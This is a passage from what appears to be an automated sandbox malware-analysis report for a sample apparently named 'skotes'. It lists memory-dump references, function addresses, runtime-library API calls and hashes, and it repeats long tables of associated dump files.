Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 7a099909a5c715e872f7525c8927c39d6b930a76e9679f940fb10741e3aaae9c
Instruction ID: 568173d37d290a3a6dd44fb5b3a25fe629d9aad060e0c54552c44fb1153a0f96
Opcode Fuzzy Hash: 7a099909a5c715e872f7525c8927c39d6b930a76e9679f940fb10741e3aaae9c
Instruction Fuzzy Hash: F0B17B74A00615EFCB28CF69D985B7EB7B4FB44301F24456AEC15AB281D730AE85CB94

Function 00C51602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C52CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00C52D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00C51614

Part of subcall function 00C52E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00C52E39
Part of subcall function 00C52E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00C52EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00C51746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00C517A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00C517B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 00C517ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00C5180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00C5181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00C51823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 00C5183B

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: bf781e05f7af51e5299ff23a9106247a58be7df98aca2a9cf2e505abcc57565d
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 5B816D79E002259FCB18DFA8C584A6DB7F1FF48305B1946ADEC55A7701CB70AD86CB88

Function 00C5EC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00C5EC81

Part of subcall function 00C58F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00C58F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00C5ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 00C5ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 00C5ED0C

Part of subcall function 00C5E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00C5E7D7
Part of subcall function 00C5E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00C5E86F
Part of subcall function 00C5E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00C5E879
Part of subcall function 00C5E7AF: Concurrency::location::_Assign.LIBCMT ref: 00C5E8AD
Part of subcall function 00C5E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00C5E8B5

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 5956418e7e5221cec5e3bcdb6c9d32dfbb1662749ffd327173f81505a136ccfa
Instruction ID: 2a7ea77b68fe7412848675d7a515a50480245e226642e30738ec4df5aabd10f0
Opcode Fuzzy Hash: 5956418e7e5221cec5e3bcdb6c9d32dfbb1662749ffd327173f81505a136ccfa
Instruction Fuzzy Hash: B651DF35A002149BCF28EF50C895BADB771EF44711F1540A8ED027B392CB70AF89DBA4

Function 00C4CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 00C4CBAA

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 5c63aa36786dae625eb2ead834685a0fe8c80abd68aabd7dbceb486f1ab1065a
Instruction ID: e19b856e88f208b7a42b5a1ec7a91208244c1fc350591a074b45654f889b9f0d
Opcode Fuzzy Hash: 5c63aa36786dae625eb2ead834685a0fe8c80abd68aabd7dbceb486f1ab1065a
Instruction Fuzzy Hash: 61B09232B1383047CA922B14BC4879D7714AE80A1130A0156E801A7234CA551E864BD8

Function 00C4DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
